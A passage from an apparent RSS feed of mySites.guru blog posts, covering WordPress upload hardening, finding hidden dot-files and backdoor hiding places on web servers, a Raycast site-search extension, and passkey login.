&lt;p&gt;There&apos;s a related constant that&apos;s more dangerous in practice: &lt;code&gt;ALLOW_UNFILTERED_UPLOADS&lt;/code&gt;. When set to &lt;code&gt;true&lt;/code&gt;, it lets administrators upload any file type through the WordPress media library - PHP files, executables, anything.&lt;/p&gt;
&lt;p&gt;WordPress normally restricts uploads to safe file types like images, PDFs, and documents. &lt;code&gt;ALLOW_UNFILTERED_UPLOADS&lt;/code&gt; removes that restriction entirely. Some developers enable it to upload SVGs or custom font files, then forget to turn it off.&lt;/p&gt;
&lt;p&gt;If an attacker compromises an admin account on a site with unfiltered uploads enabled, they can upload a PHP backdoor directly through the media uploader. No plugin installation needed, no theme editor required - just drag and drop a &lt;code&gt;.php&lt;/code&gt; file into the media library.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;ALLOW_UNFILTERED_UPLOADS&apos;, false);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keep this set to &lt;code&gt;false&lt;/code&gt; (or better yet, don&apos;t define it at all - &lt;code&gt;false&lt;/code&gt; is the default). If you need SVG uploads, use a plugin that sanitises SVG files rather than opening the door to every file type.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit checks this constant alongside &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt;. If unfiltered uploads are enabled on any of your sites, you&apos;ll see it flagged and can disable it with one click.&lt;/p&gt;
&lt;h2&gt;How does this fit into a WordPress defence-in-depth strategy?&lt;/h2&gt;
&lt;p&gt;Locking down file modifications works best alongside other hardening steps: disabling XML-RPC, limiting post revisions, closing the unauthenticated database repair endpoint, &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforcing minor-only core updates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;removing leftover default content like the Sample Page and Hello World post&lt;/a&gt;, and enforcing strong passwords with 2FA.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit checks all of these&lt;/a&gt; in the same snapshot. You see your security posture across every site on one screen, and any configuration drift gets caught automatically. For more on what the audit covers, see the &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice guide&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of several hardening measures in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>hardening</category><category>wp-config</category><enclosure url="https://mysites.guru/_astro/stop-plugin-installs-wordpress-admin.CXGIgaAa.png" length="0" type="image/png"/></item><item><title>Hidden Files Lurking on Your Web Server</title><link>https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/</link><guid isPermaLink="true">https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/</guid><description>Your web server probably has hidden dot-files you&apos;ve never seen. Some are harmless, some were left by hackers. Here&apos;s how to find them.</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You know what&apos;s great about files that start with a period? They&apos;re invisible. Your FTP client hides them. Your cPanel file manager hides them. Even &lt;code&gt;ls&lt;/code&gt; on the command line hides them unless you remember to add &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hackers know this too.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What is the dot-file blind spot?&lt;/h2&gt;
&lt;p&gt;Every web server has files that start with a dot - &lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;.htpasswd&lt;/code&gt;, &lt;code&gt;.user.ini&lt;/code&gt;. These are normal. They control how your server behaves, who can access what, and how PHP runs.&lt;/p&gt;
&lt;p&gt;If a hacker drops a file called &lt;code&gt;.joomla.class.php&lt;/code&gt; or &lt;code&gt;.wordpress.class.php&lt;/code&gt; into a random subdirectory three levels deep, you&apos;ll probably never see it. Not in your file manager, not during a casual browse through FTP, not ever. That file could sit there for years, redirecting your visitors to a spam site or giving the attacker a backdoor to walk right back in whenever they feel like it. If any of this sounds familiar, our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; can check every file in your webspace - and if you already know something is wrong, the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; walks you through what to do next.&lt;/p&gt;
&lt;p&gt;We&apos;ve seen this on real sites. Hidden dot-folders too, like a &lt;code&gt;.cache&lt;/code&gt; or &lt;code&gt;.tmp&lt;/code&gt; directory planted by an attacker, full of phishing kits or mailer scripts. The dot prefix keeps them invisible on most hosting panels, so they survive cleanups and updates because nobody knows they&apos;re there.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru find them?&lt;/h2&gt;
&lt;p&gt;When you run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on any connected site, mySites.guru scans every file on your webspace and flags anything with a dot-prefixed name. The hidden files check looks through the full file index for any path containing &lt;code&gt;/.&lt;/code&gt; - catching dot-files &lt;em&gt;and&lt;/em&gt; dot-folders at every level of your site.&lt;/p&gt;
&lt;p&gt;The audit dashboard shows your hidden files count with a simple badge:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt; - zero hidden files found (uncommon, but possible on minimal installs)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yellow&lt;/strong&gt; - hidden files detected, review recommended&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&apos;s a yellow warning, not a red alarm. The tool lists &lt;em&gt;every&lt;/em&gt; file with a dot-prefix - legitimate or not. It doesn&apos;t try to decide what&apos;s safe and what isn&apos;t. That&apos;s your call. Some of these files will be perfectly normal (&lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;.htpasswd&lt;/code&gt;), some will be developer junk (&lt;code&gt;.gitkeep&lt;/code&gt;), and some might be malware. The point is to make sure you actually &lt;em&gt;know&lt;/em&gt; what&apos;s there, because you can&apos;t make that judgement on files you&apos;ve never seen.&lt;/p&gt;
&lt;p&gt;If something looks suspicious, other mySites.guru tools can help - the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis&lt;/a&gt; will flag known backdoor patterns, so the same file might turn up across multiple tools. That overlap is deliberate. Different tools catch different things from different angles.&lt;/p&gt;
&lt;h2&gt;Drilling into the results&lt;/h2&gt;
&lt;p&gt;Click through from the audit result and you&apos;ll get the full list of every hidden file on the site, sorted by last modified date (newest first). For each file you can see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The full file path&lt;/li&gt;
&lt;li&gt;When it was last modified&lt;/li&gt;
&lt;li&gt;File size (flagged if unusually large)&lt;/li&gt;
&lt;li&gt;File permissions (flagged if they&apos;re not standard 644)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is where it gets useful. You&apos;ll probably see a handful of &lt;code&gt;.htaccess&lt;/code&gt; files - one in the root, maybe one in &lt;code&gt;/administrator/&lt;/code&gt; or &lt;code&gt;/wp-admin/&lt;/code&gt;, and that&apos;s expected. But if you see a &lt;code&gt;.htaccess&lt;/code&gt; in &lt;code&gt;/images/stories/&lt;/code&gt; or a &lt;code&gt;.php&lt;/code&gt; dot-file buried in &lt;code&gt;/wp-content/uploads/2019/03/&lt;/code&gt;, that&apos;s worth a closer look. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; can scan its contents for known malware patterns and confirm whether it&apos;s a known backdoor.&lt;/p&gt;
&lt;p&gt;The tool paginates results (100 at a time with &quot;Load another 100&quot; or &quot;Show All&quot;), and you can &lt;strong&gt;export everything to CSV&lt;/strong&gt; if you need to share the findings with a client or keep a record.&lt;/p&gt;
&lt;h2&gt;Are hidden folders just as bad?&lt;/h2&gt;
&lt;p&gt;The audit also counts &lt;strong&gt;hidden folders&lt;/strong&gt; separately. A dot-prefixed folder like &lt;code&gt;/.bak&lt;/code&gt; or &lt;code&gt;/.old&lt;/code&gt; can contain an entire toolkit - file managers, mailer scripts, SEO spam pages - all completely invisible to anyone casually browsing the server.&lt;/p&gt;
&lt;p&gt;Attackers also disguise backdoors as legitimate file types. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework attack&lt;/a&gt; drops PHP code inside SVG image files - they pass basic file type checks but execute as PHP on the server.&lt;/p&gt;
&lt;p&gt;These hidden folders can survive for &lt;em&gt;years&lt;/em&gt;. Site owners clean up after a hack, reinstall core files, change passwords, and feel safe. But that &lt;code&gt;.tools&lt;/code&gt; folder three directories deep? Still there. Still accessible. Still a way back in. If you find something that shouldn&apos;t be there, our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;guide to fixing a hacked site&lt;/a&gt; walks you through what to do without destroying the evidence.&lt;/p&gt;
&lt;h2&gt;It&apos;s not always hackers - developers leave these too&lt;/h2&gt;
&lt;p&gt;Not every hidden file is malware. Some of the dot-files on your site were put there by legitimate extension developers who made questionable decisions.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Take &lt;code&gt;.gitkeep&lt;/code&gt; files. These are development artifacts - empty placeholder files that developers use to force Git to track otherwise-empty directories. They serve zero purpose on a production web server. Yet plenty of extensions ship with &lt;code&gt;.gitkeep&lt;/code&gt; files scattered throughout their directory trees because nobody bothered to exclude them from the release package. They&apos;re harmless, but they&apos;re clutter, and they tell you the developer&apos;s build process needs work.&lt;/p&gt;
&lt;p&gt;Then there&apos;s the truly stupid stuff. We&apos;ve seen extensions ship with &lt;code&gt;.api.key&lt;/code&gt; files - actual API credentials stored in a dot-file on the assumption that the dot prefix somehow makes it secure. It doesn&apos;t. Anyone who knows the path can request it directly in a browser. The dot prefix only hides files from directory listings, not from direct access. Hiding secrets by putting a dot in front of the filename is like hiding your house key under the doormat and calling it a security system.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.htaccess&lt;/code&gt; files inside third-party extensions are another common find. Some are legitimate (restricting direct PHP execution in upload directories), but others are leftover development config that the developer forgot to remove. An &lt;code&gt;.htaccess&lt;/code&gt; inside a &lt;code&gt;.tmp&lt;/code&gt; or &lt;code&gt;.trash&lt;/code&gt; folder deep in an extension&apos;s vendor directory is a sign that the extension is shipping its entire development tree rather than a clean production build.&lt;/p&gt;
&lt;p&gt;The point is: even when these files aren&apos;t malicious, they&apos;re still worth knowing about. They reveal the quality of the code you&apos;re running, and occasionally they expose things that genuinely shouldn&apos;t be publicly accessible.&lt;/p&gt;
&lt;p&gt;One category you can recognize on sight: your own tools. If mySites.guru is monitoring the site, its connector writes small &lt;code&gt;.myjoomla.*.md5&lt;/code&gt; files (or &lt;code&gt;.mywpguru.*.md5&lt;/code&gt; on WordPress) next to the files it watches. Those are &lt;a href=&quot;https://mysites.guru/blog/myjoomla-configuration-php-md5-files/&quot;&gt;file-integrity lock files, not malware&lt;/a&gt; - they hold a hash of the watched file so a change gets caught on the next page load.&lt;/p&gt;
&lt;h2&gt;What about the .well-known folder?&lt;/h2&gt;
&lt;p&gt;One dot-folder you&apos;ll almost certainly see is &lt;code&gt;/.well-known/&lt;/code&gt;. This one is legitimate - it&apos;s an &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8615&quot;&gt;IETF standard&lt;/a&gt; that services use to discover things about your site. Let&apos;s Encrypt puts its domain validation challenges in &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt;. Apple uses &lt;code&gt;/.well-known/apple-app-site-association&lt;/code&gt; for universal links. Security researchers look for &lt;code&gt;/.well-known/security.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So why mention it here? Because attackers know you expect this folder to exist, and they abuse that. We&apos;ve seen sites where someone planted a PHP shell inside &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt; because it&apos;s a directory that already has to be publicly accessible for SSL renewals to work. Nobody questions traffic to &lt;code&gt;/.well-known/&lt;/code&gt; in their access logs.&lt;/p&gt;
&lt;p&gt;If you see files inside &lt;code&gt;/.well-known/&lt;/code&gt; that aren&apos;t plain text challenge tokens or JSON config files, especially anything ending in &lt;code&gt;.php&lt;/code&gt;, take a closer look. The folder is supposed to be boring. If it isn&apos;t, that&apos;s a problem.&lt;/p&gt;
&lt;h2&gt;Why does .htaccess deserve extra attention?&lt;/h2&gt;
&lt;p&gt;We deliberately flag &lt;code&gt;.htaccess&lt;/code&gt; files - yes, we know they&apos;re usually fine. But &lt;code&gt;.htaccess&lt;/code&gt; is one of the most powerful files on an Apache server. A malicious one can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Redirect all your traffic to a spam or phishing site&lt;/li&gt;
&lt;li&gt;Block search engine crawlers from indexing your real content&lt;/li&gt;
&lt;li&gt;Serve different content to Googlebot than to real visitors (cloaking)&lt;/li&gt;
&lt;li&gt;Password-protect directories the attacker has planted files in&lt;/li&gt;
&lt;li&gt;Execute PHP in directories where it shouldn&apos;t run (like &lt;code&gt;/uploads/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One &lt;code&gt;.htaccess&lt;/code&gt; in the wrong place can undo every other security measure you&apos;ve put in place. Reviewing all of them periodically is just good practice.&lt;/p&gt;
&lt;h2&gt;What should you do with the results?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Review every dot-file that isn&apos;t &lt;code&gt;.htaccess&lt;/code&gt;. If you don&apos;t recognize it, look at what&apos;s inside. If you&apos;re not confident reading PHP, the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis tool&lt;/a&gt; can tell you within seconds whether a file is malware or a false positive&lt;/li&gt;
&lt;li&gt;Count your &lt;code&gt;.htaccess&lt;/code&gt; files. Most sites have 1-3 legitimate ones. If you have 15, something is off&lt;/li&gt;
&lt;li&gt;Check modification dates. A &lt;code&gt;.htaccess&lt;/code&gt; modified last week that you didn&apos;t touch? Red flag. Better still, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;set up real-time file modification alerts&lt;/a&gt; so you&apos;re notified the moment a file changes&lt;/li&gt;
&lt;li&gt;Look for dot-folders. Legitimate ones are rare outside of development environments&lt;/li&gt;
&lt;li&gt;Compare between audits. If your hidden file count suddenly jumps, dig in immediately&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Still not sure what you&apos;re looking at? &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;Drop Phil a message&lt;/a&gt; and he&apos;ll point you in the right direction. If you&apos;d rather have someone go through the whole site for you, you can book a paid consultancy review at &lt;a href=&quot;https://fix.mysites.guru&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you run this across all your sites?&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of sites, doing this manually on each one would take days. With mySites.guru, every scheduled audit automatically counts hidden files across all your connected sites. You can configure &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;how often those audits run&lt;/a&gt; - daily, weekly, or monthly - and spot anomalies at a glance from the dashboard without logging into a single server.&lt;/p&gt;
&lt;p&gt;You can also view the hidden files results for every site on a single page at &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/filesinformation/hiddenfiles&quot;&gt;the all-sites hidden files tool&lt;/a&gt;. Each site shows its hidden file count with an Investigate button to drill into the details, and a Manage Site button to jump straight to that site&apos;s dashboard. Tabs let you switch between your Joomla, WordPress, and Generic PHP sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The hidden files tool works on Joomla, WordPress, and any PHP application connected to mySites.guru. Same scan regardless of platform.&lt;/p&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;Already a mySites.guru subscriber? Run an audit on any site and look for the &lt;strong&gt;Hidden Files&lt;/strong&gt; result in the Files Information section. Click through to review what&apos;s lurking on your server.&lt;/p&gt;
&lt;p&gt;Not using mySites.guru yet? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start a free trial&lt;/a&gt; and connect your first site in under two minutes. The first audit usually surfaces a few surprises.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Learn more in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Security</category><category>Audit Tools</category><category>Joomla</category><category>WordPress</category><enclosure url="https://mysites.guru/_astro/hidden-files-lurking.ByV36uo2.webp" length="0" type="image/webp"/></item><item><title>mySites.guru Raycast Extension for Mac</title><link>https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/</guid><description>Free Raycast extension for mySites.guru on macOS. Search your managed sites, open management pages, and copy URLs without leaving the keyboard.</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve had an &lt;a href=&quot;https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/&quot;&gt;Alfred workflow&lt;/a&gt; for this for a while, but a lot of Mac users have moved to &lt;a href=&quot;https://www.raycast.com/&quot;&gt;Raycast&lt;/a&gt; and kept asking for a native extension. So here it is.&lt;/p&gt;
&lt;p&gt;Type &quot;mys&quot; into Raycast and the mySites.guru Site Search command appears at the top:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then press Enter to open the command and you will see a list of your sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Hit Enter to load the Manage Site page for that site. Or use ⌘K in Raycast to view more options like opening the site in your browser or copying the URL.&lt;/p&gt;
&lt;h2&gt;What does it do?&lt;/h2&gt;
&lt;p&gt;Type a few characters in Raycast and you get a filtered list of every site connected to your mySites.guru account, with favicons. From there you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open the management page for any site in one keystroke&lt;/li&gt;
&lt;li&gt;Visit the live site in your browser&lt;/li&gt;
&lt;li&gt;Copy the site URL or management URL to your clipboard&lt;/li&gt;
&lt;li&gt;Refresh the site list on demand with ⌘R&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Results are cached for 5 minutes so it feels instant.&lt;/p&gt;
&lt;p&gt;If you manage dozens or hundreds of sites, this changes the workflow. Instead of logging into the mySites.guru dashboard, finding the site, and clicking through, you just type a few letters and you&apos;re there. Pair it with &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; and you can go from &quot;I need to check that site&quot; to logged into its admin panel in about three seconds.&lt;/p&gt;
&lt;p&gt;We also have a &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; inside the mySites.guru dashboard itself if you prefer to stay in the browser.&lt;/p&gt;
&lt;h2&gt;What is Raycast?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you haven&apos;t come across it yet, &lt;a href=&quot;https://www.raycast.com/&quot;&gt;Raycast&lt;/a&gt; is a keyboard launcher for macOS that replaces Spotlight. You hit a hotkey, type what you want, and things happen. Apps open, files appear, calculations get done, windows snap into place. It responds in milliseconds.&lt;/p&gt;
&lt;p&gt;But the launcher is just one part of it. Raycast also ships with clipboard history, window management, snippet expansion, quick notes, a calculator, calendar, and emoji picker. All keyboard-driven, all fast. If you&apos;ve ever had five separate utility apps running to cover all that, Raycast replaces the lot.&lt;/p&gt;
&lt;h3&gt;The extension store&lt;/h3&gt;
&lt;p&gt;The real reason we built for Raycast is the extension system. There&apos;s a store with thousands of extensions for tools you probably already use: GitHub, Notion, Linear, Slack, Figma, 1Password, VS Code, Todoist. Extensions are built with React and TypeScript, so any web developer can build one without learning anything new.&lt;/p&gt;
&lt;p&gt;Our mySites.guru extension is distributed from &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension&quot;&gt;GitHub&lt;/a&gt; rather than the Raycast Store, but once installed it works exactly like any other Raycast command.&lt;/p&gt;
&lt;h3&gt;Free where it matters&lt;/h3&gt;
&lt;p&gt;The base Raycast app is free, and extensions work on the free tier. There&apos;s a paid Pro plan for AI features and cloud sync, but you don&apos;t need it for the mySites.guru extension or most of the store. Compare that to Alfred, where you need the paid PowerPack (£34+) before workflows do anything at all.&lt;/p&gt;
&lt;p&gt;If you&apos;re already on Raycast, our extension drops straight in. If you&apos;re still on Spotlight, this might be worth a look.&lt;/p&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;The extension is hosted on GitHub. Grab the latest release here:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/mySites-guru/raycast-extension/releases/latest&quot;&gt;Download mySites.guru Raycast Extension&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&apos;ll get a &lt;code&gt;.zip&lt;/code&gt; file containing the extension source. No Raycast Store install needed - you run it locally as a dev extension, which takes about 30 seconds.&lt;/p&gt;
&lt;p&gt;If you&apos;d rather clone the repo directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/mySites-guru/raycast-extension.git
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;How do you install it?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Download the &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension/releases/latest&quot;&gt;latest release from GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Extract the archive and run:&lt;pre&gt;&lt;code&gt;npm install &amp;amp;&amp;amp; npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Raycast will prompt you for your API token on first launch&lt;/li&gt;
&lt;li&gt;Get the token from &lt;a href=&quot;https://manage.mysites.guru/en/sites/screenshots&quot;&gt;manage.mysites.guru/en/sites/screenshots&lt;/a&gt; (enable &quot;Public Site Screenshots&quot; first if you haven&apos;t already)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&apos;s it. Start typing a site name and your sites appear.&lt;/p&gt;
&lt;p&gt;On first launch, Raycast will show the welcome screen where you paste your token:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Can you use the same token as Alfred?&lt;/h2&gt;
&lt;p&gt;If you already set up the Alfred workflow, you already have a token. The Raycast extension uses the same one, same API, same endpoint. You can run both side by side if you want.&lt;/p&gt;
&lt;h2&gt;Is it open source?&lt;/h2&gt;
&lt;p&gt;The extension is &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension&quot;&gt;open source on GitHub&lt;/a&gt; under the MIT license. Pull requests welcome if you want to add something.&lt;/p&gt;
&lt;h2&gt;Not on mySites.guru yet?&lt;/h2&gt;
&lt;p&gt;If you&apos;re managing multiple WordPress or Joomla sites and don&apos;t have a mySites.guru account, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt; to see what it does. The Raycast extension works on all plans, including the free tier. Check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; or go straight to &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; if you already know what you need.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of several productivity tools in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>raycast</category><category>mac</category><category>productivity</category><category>workflow</category><category>site management</category><enclosure url="https://mysites.guru/_astro/raycast-extension-og.DJhhErVZ.webp" length="0" type="image/webp"/></item><item><title>mySites.guru supports login with Passkeys</title><link>https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/</link><guid isPermaLink="true">https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/</guid><description>mySites.guru supports login with passkeys - Face ID, Touch ID, Windows Hello, or any FIDO2 device. Faster than passwords, impossible to phish.</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Passwords are the worst part of logging in to anything. You know it. We know it. So we added passkey support to mySites.guru - mainly for security, but also to make logging in a lot easier - no more passwords to remember!&lt;/p&gt;
&lt;h2&gt;What is a passkey?&lt;/h2&gt;
&lt;p&gt;A passkey is a replacement for typed passwords. Instead of remembering (or more likely, forgetting) a string of characters, your device creates a pair of cryptographic keys when you register. One stays on your device, locked behind your fingerprint, face, or screen PIN. The other goes to the server. When you log in, the two keys do a handshake and you&apos;re authenticated. You never type anything.&lt;/p&gt;
&lt;p&gt;The important bit: the private key never leaves your device. It can&apos;t be copied, emailed, pasted into a phishing form, or found in a data breach. If someone steals the server&apos;s database, they get the public key, which is useless on its own.&lt;/p&gt;
&lt;p&gt;Passkeys are built on the FIDO2 and WebAuthn standards, developed by the &lt;a href=&quot;https://fidoalliance.org/&quot;&gt;FIDO Alliance&lt;/a&gt;. The Alliance is an industry group formed in 2012 with one goal: kill passwords. Its members include Apple, Google, Microsoft, Amazon, and hundreds of other companies. They wrote the spec that makes passkeys work the same way across every browser and operating system. When you register a passkey on mySites.guru, you&apos;re using the same open protocol that Google, GitHub, and PayPal use for their logins. Nothing proprietary, nothing locked to a single vendor.&lt;/p&gt;
&lt;h2&gt;What actually happens when you use a passkey at mySites.guru?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You enter your username, and click the &quot;Sign in with Passkey&quot; button, your device asks for your fingerprint or face, and you&apos;re in. No typing. No paste-from-password-manager dance. No &quot;was it the one with the capital letter and the exclamation mark?&quot;&lt;/p&gt;
&lt;p&gt;If you are using 1Password, you can use the browser extension to register and sign in with passkeys. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being tied to a single platform&apos;s ecosystem.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Under the hood, your device holds a private cryptographic key that never leaves it. The server only sees the public half. There&apos;s nothing to intercept, nothing to leak in a database breach, and nothing that works on a phishing site pretending to be us.&lt;/p&gt;
&lt;h2&gt;Why does this matter if you manage client sites?&lt;/h2&gt;
&lt;p&gt;Although our service has a long session time, if you logout and are logging in to mySites.guru several times a day to check on client sites, the speed difference is noticeable. But the real win is security.&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members on your account&lt;/a&gt;, you no longer have to wonder whether Dave from accounting is reusing his Gmail password for your site management dashboard. His passkey is tied to his device and the mysites.guru domain. Can&apos;t be reused, shared, or phished.&lt;/p&gt;
&lt;h2&gt;What devices are supported?&lt;/h2&gt;
&lt;p&gt;Anything that speaks WebAuthn/FIDO2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Face ID and Touch ID on Apple devices (syncs via iCloud Keychain)&lt;/li&gt;
&lt;li&gt;Fingerprint or face unlock on Android (syncs via Google Password Manager)&lt;/li&gt;
&lt;li&gt;Windows Hello - fingerprint, face, or PIN&lt;/li&gt;
&lt;li&gt;Hardware security keys like YubiKey 5 or Google Titan&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;Go to your &lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Account page&lt;/a&gt; and look for the WebAuthn Authentication section. Click &lt;strong&gt;Register new WebAuthn device or Passkeys&lt;/strong&gt;, authenticate with your device, and you&apos;re done.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can register multiple passkeys if you use several devices. Next time you log in, you&apos;ll see the &quot;Sign in with Passkey&quot; button on the login screen.&lt;/p&gt;
&lt;p&gt;Your password still works as a fallback - passkeys are an additional login method, not a replacement.&lt;/p&gt;
&lt;h2&gt;How do passkeys compare to 2FA?&lt;/h2&gt;
&lt;p&gt;Two Factor Authentication adds a second step after your password (usually a 6-digit code). Passkeys skip the password step entirely and authenticate you in one action. Both are better than a password alone, but passkeys are faster and resistant to phishing in a way that SMS and TOTP codes aren&apos;t.&lt;/p&gt;
&lt;p&gt;If an attacker tricks you into entering your password and 2FA code on a fake site, they can replay both within seconds. A passkey won&apos;t authenticate against a fake domain at all - the cryptography simply doesn&apos;t work unless the domain matches.&lt;/p&gt;
&lt;h2&gt;Is mySites.guru listed on passkey directories?&lt;/h2&gt;
&lt;p&gt;mySites.guru is listed on &lt;a href=&quot;https://passkeys.directory/&quot;&gt;passkeys.directory&lt;/a&gt; and &lt;a href=&quot;https://www.passkeys.com/&quot;&gt;passkeys.com&lt;/a&gt; as a service that supports passkey login. If you&apos;re checking whether a tool you use supports passkeys, those two sites maintain up-to-date lists. We&apos;re on both.&lt;/p&gt;
